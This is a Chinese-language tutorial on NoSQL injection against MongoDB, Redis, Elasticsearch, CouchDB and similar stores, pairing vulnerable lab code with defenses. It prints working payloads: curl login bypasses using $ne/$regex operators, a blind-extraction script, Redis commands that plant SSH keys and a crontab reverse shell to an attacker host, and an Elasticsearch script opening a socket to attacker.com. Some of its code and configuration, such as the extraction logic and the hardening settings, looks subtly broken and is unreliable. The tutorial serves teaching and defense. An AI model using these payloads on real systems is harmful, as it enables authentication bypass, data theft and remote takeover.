一、NoSQL 不是 SQL,但同样会被注入

NoSQL 数据库近年来广泛应用于互联网后端,但很多开发者误以为"不用 SQL 就没有注入"。实际上,NoSQL 注入攻击面更隐蔽、更丰富。本文覆盖 MongoDB、Redis、Elasticsearch 三大主流 NoSQL 的注入技术。

二、MongoDB 注入

2.1 MongoDB 查询语言基础

// MongoDB 的查询对象
db.users.find({ username: "admin", password: "admin123" })

// 对应的 Node.js 代码
const query = { username: req.body.username, password: req.body.password };
db.collection('users').findOne(query);

2.2 运算符注入(最常见)

MongoDB 的查询运算符($ne, $gt, $regex 等)如果被直接用在用户输入中,就会触发注入。

靶场 Node.js 代码

// 危险写法:用户输入直接作为查询值
app.post('/login', async (req, res) => {
  const { username, password } = req.body;
  const query = { username, password };  // password 可能是对象!
  const user = await db.collection('users').findOne(query);
  res.json(user ? { ok: true, user } : { ok: false });
});

攻击 Payload

# 运算符注入:$ne 表示不等于,绕过密码检查
curl -X POST http://target/login -H "Content-Type: application/json" \
  -d '{"username":"admin","password":{"$ne":""}}'
# MongoDB 执行: findOne({username:"admin", password: {$ne:""}})
# 等价于: 找到 username=admin 且 password != "" 的用户(几乎必定存在)

# $gt 注入:密码大于空字符串
curl -X POST http://target/login -H "Content-Type: application/json" \
  -d '{"username":"admin","password":{"$gt":""}}'

# $regex 注入:用正则匹配任意密码
curl -X POST http://target/login -H "Content-Type: application/json" \
  -d '{"username":"admin","password":{"$regex":".*"}}'

# $exists 注入
curl -X POST http://target/login -H "Content-Type: application/json" \
  -d '{"username":"admin","password":{"$exists":true}}'

# $in 注入
curl -X POST http://target/login -H "Content-Type: application/json" \
  -d '{"username":"admin","password":{"$in":["","admin","123456"]}}'

2.3 更隐蔽的 MongoDB 注入场景

场景一:只过滤了字符串参数

// 开发者以为只需要把用户名转成字符串
const query = { username: String(username), password };
// password 仍然可以是对象!

场景二:JavaScript 引擎不一致

某些情况下 MongoDB 后端用 JavaScript 解析查询:

// 危险:直接传 JS 对象到 $where
db.users.find({ $where: `this.username == '${username}'` })

// 注入: username = "admin' || '1'=='1"
// 变成: $where: "this.username == 'admin' || '1'=='1'"

场景三:正则表达式注入

// 用户输入直接拼到正则里
const regex = new RegExp(req.query.q, 'i');
db.products.find({ name: regex });
# 正则注入 payload
q=')|('|^
# 正则匹配所有行

2.4 MongoDB 注入自动化脚本

import requests
import json

class MongoInjector:
    def __init__(self, url):
        self.url = url
        self.session = requests.Session()
    
    def try_operator(self, field, operator, value):
        payload = {field: {operator: value}}
        r = self.session.post(
            self.url, 
            json=payload,
            headers={'Content-Type': 'application/json'}
        )
        return r.json()
    
    def extract_field(self, condition_field, value_field, max_len=128):
        """布尔盲注思路提取字段值"""
        result = []
        for pos in range(1, max_len + 1):
            low, high = 32, 126
            while low <= high:
                mid = (low + high) // 2
                # MongoDB: find where substring is >= mid
                payload = {
                    "username": "admin",
                    "$expr": {
                        "$gte": [
                            {"$toInt": {"$substr": [value_field, pos-1, 1]}},
                            mid
                        ]
                    }
                }
                r = self.session.post(self.url, json=payload)
                if r.json().get('ok'):
                    low = mid + 1
                else:
                    high = mid - 1
            if high < 32:
                break
            result.append(chr(high))
            print(chr(high), end='', flush=True)
        print()
        return ''.join(result)
    
    def list_collections(self):
        """尝试列出集合(需要 admin 权限接口)"""
        return self.try_operator(
            'collection', '$regex', '.*'
        )

2.5 MongoDB 防御

// 1. 用 Joi/validator 严格验证输入类型
const schema = Joi.object({
  username: Joi.string().required(),
  password: Joi.string().required()
});
const validated = schema.validate(req.body);

// 2. 用 JSON Schema 拒绝所有对象类型
function sanitize(obj) {
  for (let key in obj) {
    if (typeof obj[key] === 'object' && obj[key] !== null) {
      delete obj[key];
    }
  }
  return obj;
}

// 3. 或用 mongoose 严格 schema
const User = mongoose.model('User', new mongoose.Schema({
  username: { type: String, required: true },
  password: { type: String, required: true },
}));

三、Redis 注入

3.1 Redis 命令基础

# Redis 协议(RESP)
SET key value
GET key
HSET hash field value
EVAL "return redis.call('SET', KEYS[1], ARGV[1])" 1 mykey myvalue

3.2 命令拼接注入

靶场 Python Redis 客户端

import redis
r = redis.Redis(host='localhost', port=6379)

# 危险:直接字符串格式化
key = f"user:{user_id}"
r.set(key, user_data)
# 如果 user_id 包含特殊字符,可能影响 Redis 命令

场景:通过用户输入构造 key

# 危险:用户输入作为 key 的一部分
cache_key = f"product:{req.params.id}"
r.set(cache_key, json.dumps(product))

# Redis 本身没有真正的命令注入(RESP 协议是安全的)
# 但应用层可能用了 eval 或字符串拼接

场景:Redis Lua 脚本注入

# 危险:Lua 脚本中拼接用户输入
lua_script = f"""
local data = redis.call('GET', 'user:{user_id}')
return data
"""
r.eval(lua_script, 0)

# 攻击: user_id = "1'; return redis.call('FLUSHALL'); --"
# Lua 脚本可能被注入

3.3 Redis Eval/Script 注入

// Node.js + ioredis
const Redis = require('ioredis');
const redis = new Redis();

// 危险:模板字符串拼接用户输入
async function getUser(userId) {
  const lua = `
    local key = "user:${userId}"
    return redis.call('GET', key)
  `;
  return redis.eval(lua, 0);
}

// 攻击:userId = 'none"; redis.call("FLUSHALL"); return "x'
// 执行了 FLUSHALL!

3.4 Redis 注入的实际危害

# 写入 SSH 公钥
# 1. 生成密钥对
ssh-keygen -t rsa -f id_rsa

# 2. 写 authorized_keys 到 Redis
redis-cli -h target -p 6379 SET /var/www/html/.ssh/authorized_keys "\n\nssh-rsa AAAAB3...\n\n"

# 3. 配置 Redis 保存路径
redis-cli -h target CONFIG SET dir /var/www/html/.ssh/
redis-cli -h target CONFIG SET dbfilename authorized_keys
redis-cli -h target SAVE

# 4. 如果 Redis 权限够,还可以写 crontab
redis-cli -h target CONFIG SET dir /var/spool/cron/
redis-cli -h target CONFIG SET dbfilename root
redis-cli -h target SET data "\n\n* * * * * bash -i >& /dev/tcp/attacker/4444 0>&1\n\n"
redis-cli -h target SAVE

3.5 Redis 防御

# 1. 绑定本地
bind 127.0.0.1

# 2. 设置密码
requirepass strong_password_here

# 3. 重命名危险命令
rename-command FLUSHDB ""
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

# 4. 禁用持久化(如果不需要)
save ""  # 禁用 RDB
appendonly no  # 禁用 AOF

# 5. 设置密码 + TLS
requirepass mysecretpassword
tls-port 6380
tls-cert-file redis.crt
tls-key-file redis.key

四、Elasticsearch 注入

4.1 ES 查询 DSL 基础

{
  "query": {
    "match": { "name": "MacBook" }
  }
}

4.2 query_string 注入

ES 的 query_string 支持 Lucene 查询语法。如果用户输入直接进入 query_string,就可以注入 Lucene 语法。

靶场 Node.js ES 查询

const { Client } = require('@elastic/elasticsearch');
const client = new Client({ node: 'http://localhost:9200' });

app.get('/search', async (req, res) => {
  const q = req.query.q;
  // 危险:用户输入直接进入 query_string
  const body = {
    query: {
      query_string: { query: q }
    }
  };
  const result = await client.search({ index: 'products', body });
  res.json(result.body.hits.hits);
});

攻击 Payload

# 注入 Lucene 语法绕过条件
curl "http://target/search?q=MacBook OR price:[0 TO 99999]"
# 返回所有产品

# 注入字段存在检查(数据外带)
curl "http://target/search?q=MacBook OR (*:*)"

# 注入 script_score(可能触发脚本执行)
curl "http://target/search?q=MacBook AND _name:doc"

4.3 Elasticsearch 不同类型的注入

类型 风险 示例 Payload
query_string Lucene 语法注入 *:*
script query 可能 RCE "script": "import java.io.*; ..."
dynamic_template 映射污染 动态字段映射
search_after 越权翻页 构造 search_after 游标

4.4 ES Script 注入

Elasticsearch 支持 Groovy/Painless 脚本。如果启用了 Groovy,可能导致 RCE。

{
  "query": {
    "script": {
      "script": "def s = new Socket('attacker.com', 4444); ..."
    }
  }
}

Painless 是安全受限的脚本语言,但仍可能被用于信息泄露:

{
  "script_fields": {
    "has_admin": {
      "script": "doc['role.keyword'].value == 'admin'"
    }
  }
}

4.5 Elasticsearch 防御

// 1. 用 match 代替 query_string
const body = {
  query: {
    match: { name: q }  // 安全!不支持 Lucene 语法
  }
};

// 2. 如果必须用 query_string,限制 Lucene 语法
const body = {
  query: {
    query_string: {
      query: q,
      analyze_wildcard: false,  // 禁止通配符
      allow_leading_wildcard: false,
      enabled: true
    }
  }
};

// 3. 禁用 Groovy 脚本
// elasticsearch.yml
// script.allowed_types: painless
// script.disable_dynamic: true (已废弃,用下面的)
// cluster.routing.allocation.enable: none (不是)

五、其他 NoSQL 注入变体

5.1 CouchDB 注入

// _view 查询中的 map function 注入
// 如果应用把用户输入拼到 view 中...

// _temp_view 的 map/reduce 注入
curl -X POST http://target:5984/_temp_view \
  -H "Content-Type: application/json" \
  -d '{
    "map": "function(doc) { if (doc.password) emit(doc._id, doc.password) }"
  }'

5.2 Cassandra CQL 注入

Cassandra 用的不是 SQL 但语法类似。如果用字符串拼接:

# 危险
query = f"SELECT * FROM users WHERE username = '{username}'"
session.execute(query)

# 安全
query = "SELECT * FROM users WHERE username = ?"
session.execute(query, (username,))

CQL 的 PREPARED STATEMENT 就是防注入的。

5.3 Memcached 注入

Memcached 协议简单,主要风险在应用层

# 危险:key 中包含特殊字符
key = f"user:{username}:{tab}".replace('|', ':')  # 如果 tab 可控

# Memcached 没有真正的命令注入,但如果应用层拼接可能出问题

5.4 GraphQL API 注入

很多应用用 GraphQL 访问 NoSQL,注入面转移到 GraphQL 层:

# GraphQL 注入
{
  user(where: { username: { _eq: "admin" } }) {
    password
  }
}

# 如果后端把 GraphQL 输入拼到数据库查询...

六、NoSQL 注入 vs SQL 注入

维度 SQL 注入 NoSQL 注入
原理 注入 SQL 语法 注入运算符/语法
复杂度 高(需要理解 SQL) 低(简单的运算符)
防御 参数绑定 严格类型检查 + 白名单
WAF 检测 成熟 尚不完善
危害 数据泄露/RCE 数据泄露/绕过鉴权

七、通用防御策略

7.1 严格输入验证

// TypeScript schema 验证
interface LoginInput {
  username: string;
  password: string;
}

function safeLogin(input: LoginInput) {
  // TypeScript 已经确保 username/password 是 string
  // 不会被注入对象形式的运算符
}

7.2 拒绝特殊类型的输入

def sanitize_no_sqli(data):
    """递归移除所有 MongoDB 运算符"""
    if isinstance(data, dict):
        return {k: sanitize_no_sqli(v) for k, v in data.items() 
                if not k.startswith('$')}
    elif isinstance(data, list):
        return [sanitize_no_sqli(item) for item in data]
    else:
        return data

7.3 ORM 框架保护

  • Mongoose(MongoDB):Schema 强制类型
  • Sequelize(SQL + NoSQL):参数化
  • Prisma:强类型 + 参数化
  • Drizzle ORM:类型安全 + 参数化

7.4 NoSQL 专用防护

# MongoDB 网络层
security.authorization.enabled: true
security.membership.host: private_ip
net.bindIp: 127.0.0.1

# ES 安全设置
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true

NoSQL 注入的本质和 SQL 注入一样:用户输入变成了可执行的查询语法。防御的核心也一样:隔离数据和语法。在 NoSQL 中,隔离方式是严格的类型检查 + 拒绝所有非预期的类型/运算符